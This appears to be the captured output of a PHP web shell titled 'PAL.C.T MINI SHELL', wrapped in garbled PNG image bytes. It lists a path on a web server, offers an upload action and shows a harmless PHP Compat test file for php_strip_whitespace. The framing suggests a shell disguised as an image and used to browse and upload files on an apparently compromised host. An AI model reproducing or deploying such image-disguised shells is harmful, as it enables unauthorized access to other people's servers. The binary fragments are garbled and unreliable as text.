php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/outlet/ot002/php1/tests/function/
upload
files >> /var/www/html/outlet/ot002/php1/tests/function/php_strip_whitespace.phpt

--TEST--
Function -- php_strip_whitespace
--SKIPIF--
<?php if (!extension_loaded('tokenizer')) { echo 'skip'; } ?>
--FILE--
<?php
require_once 'PHP/Compat/Function/php_strip_whitespace.php';

// Here is some sample PHP code to write to the file
$string = '<?php
// PHP comment here

/*
 * Another PHP comment
 */

echo        microtime();
// Newlines are considered whitespace, and are removed too:
microtime();
?>';

// Create a temp file
$tmpfname = tempnam('/tmp', 'phpcompat');
$fh = fopen($tmpfname, 'w');
fwrite($fh, $string);

// Test
echo php_compat_php_strip_whitespace($tmpfname);

// Close
fclose($fh);
?>
--EXPECT--
<?php
 echo microtime(); microtime(); ?>
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`